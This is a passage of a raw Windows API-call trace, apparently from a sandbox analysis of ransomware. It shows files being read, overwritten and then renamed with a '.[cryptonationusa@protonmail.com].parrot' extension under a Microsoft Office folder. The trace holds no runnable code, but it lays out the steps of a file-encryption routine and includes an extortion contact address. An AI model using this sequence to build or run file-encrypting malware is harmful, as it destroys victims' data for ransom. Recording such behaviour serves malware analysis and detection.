(HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5cabe0 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0168.801] WriteFile (in: hFile=0x27c, lpBuffer=0x5cabe0*, nNumberOfBytesToWrite=0x3a8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cabe0*, lpNumberOfBytesWritten=0x18eed4*=0x3a8, lpOverlapped=0x0) returned 1 [0168.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0168.804] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x399, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0168.804] CloseHandle (hObject=0x27c) returned 1 [0168.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22af630 [0168.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.805] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0168.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0168.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0168.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0168.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0168.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0168.809] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.809] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.809] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.810] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd1, lpOverlapped=0x0) returned 1 [0168.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.810] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0168.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0168.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0168.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0168.810] GetLastError () returned 0x0 [0168.810] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.810] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0168.810] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0168.810] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0168.810] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0168.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0168.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0168.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0168.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0168.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0168.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0168.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0168.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0168.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0168.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0168.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0168.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0168.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0168.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0168.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0168.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0168.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0168.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5cbeb0 [0168.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0168.811] WriteFile (in: hFile=0x27c, lpBuffer=0x5cbeb0*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cbeb0*, lpNumberOfBytesWritten=0x18eed4*=0x1f8, lpOverlapped=0x0) returned 1 [0168.813] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0168.813] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0168.813] CloseHandle (hObject=0x27c) returned 1 [0168.813] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.813] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22af630 [0168.813] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0168.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0168.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647228 | out: hHeap=0x5b0000) returned 1 [0168.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0168.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0168.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0168.817] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.817] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.817] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.818] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0168.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0168.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0168.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0168.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0168.818] GetLastError () returned 0x0 [0168.819] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0168.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0168.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0168.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0168.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0168.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0168.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0168.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0168.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0168.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0168.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0168.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0168.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x198) returned 0x22a0070 [0168.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.820] WriteFile (in: hFile=0x27c, lpBuffer=0x22a0070*, nNumberOfBytesToWrite=0x198, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22a0070*, lpNumberOfBytesWritten=0x18eed4*=0x198, lpOverlapped=0x0) returned 1 [0168.821] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22a0070 | out: hHeap=0x5b0000) returned 1 [0168.821] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0168.821] CloseHandle (hObject=0x27c) returned 1 [0168.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22af630 [0168.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.822] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0168.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0168.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f3c0 | out: hHeap=0x5b0000) returned 1 [0168.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0168.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0168.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0168.825] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.825] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.826] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.826] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0168.827] GetLastError () returned 0x0 [0168.827] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0168.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0168.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0168.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0168.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0168.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0168.827] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0168.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0168.828] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0168.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0168.828] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0168.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0168.828] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0168.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0168.828] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0168.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0168.828] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0168.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0168.828] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x198) returned 0x22a0070 [0168.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.828] WriteFile (in: hFile=0x27c, lpBuffer=0x22a0070*, nNumberOfBytesToWrite=0x198, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22a0070*, lpNumberOfBytesWritten=0x18eed4*=0x198, lpOverlapped=0x0) returned 1 [0168.829] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22a0070 | out: hHeap=0x5b0000) returned 1 [0168.829] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0168.829] CloseHandle (hObject=0x27c) returned 1 [0168.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22af630 [0168.830] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.831] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0168.831] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0168.831] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f3c0 | out: hHeap=0x5b0000) returned 1 [0168.831] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0168.831] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.831] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0168.831] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0168.833] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.833] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.835] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.835] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0168.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.845] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0168.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0168.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0168.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0168.845] GetLastError () returned 0x0 [0168.870] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.870] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0168.873] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.873] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0168.876] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7771fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0168.876] CloseHandle (hObject=0x27c) returned 1 [0168.876] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0168.876] RtlAllocateHeap (HeapHandle=0x5b0000, 